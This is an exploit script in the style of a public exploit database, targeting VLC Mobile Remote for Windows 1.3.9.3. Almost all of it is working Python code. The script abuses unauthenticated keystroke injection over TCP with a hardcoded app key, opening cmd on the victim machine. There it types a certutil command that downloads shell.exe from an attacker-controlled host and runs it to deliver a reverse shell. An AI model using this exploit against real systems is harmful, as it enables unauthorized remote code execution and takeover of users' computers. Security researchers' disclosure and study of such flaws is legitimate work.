# Exploit Title: VLC Mobile Remote (VMR) for Windows v1.3.9.3 Remote Code
Execution
# Date: 06/23/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://vlcmobileremote.com
# Software Link: https://vlcmobileremote.com/Releases/Setup.exe
# Version: 1.3.9.3
# Tested on: Windows 10 (Build 19044)
'''
Description:
VLC Mobile Remote for Windows 1.3.9.3 allows remote code execution via
unauthenticated keystroke injection over TCP, enabling command execution
and reverse shell delivery.
'''
import socket
import time
TARGET_IP = "192.168.8.105"
TARGET_PORT = 5916
payload = "shell.exe"
lhost = "192.168.8.100"
cmd = f'certutil -urlcache -split -f http://{lhost}/{payload}
C:\\\\Windows\\\\Temp\\\\payload.exe'
exec_path = "C:\\\\Windows\\\\Temp\\\\payload.exe"
def make_payload(request):
timestamp = str(int(time.time() * 1000))
return (
'{"appAuthenticationKey":"I2t3H*9s65J7F!E03K9M",'
'"password":"",'
'"sentTime":"' + timestamp + '",'
'"request":"' + request + '"}\x0a'
)
requests = [
("/requests/keyboard/command?key=windows", "windows"),
("/requests/keyboard/command?key=textinput&value=cmd", "typing cmd"),
("/requests/keyboard/command?key=enter", "enter"),
(f"/requests/keyboard/command?key=textinput&value={cmd}", "typing
download payload command"),
("/requests/keyboard/command?key=enter", "enter"),
(f"/requests/keyboard/command?key=textinput&value={exec_path}", "typing
payload path"),
("/requests/keyboard/command?key=enter", "executing payload"),
]
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
s.connect((TARGET_IP, TARGET_PORT))
print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}")
for i, (req, label) in enumerate(requests):
payload = make_payload(req)
s.sendall(payload.encode('utf-8'))
print(f"[>] {label}")
time.sleep(1)
print("[✓] Done.")
except Exception as e:
print(f"[!] Error: {e}")Data
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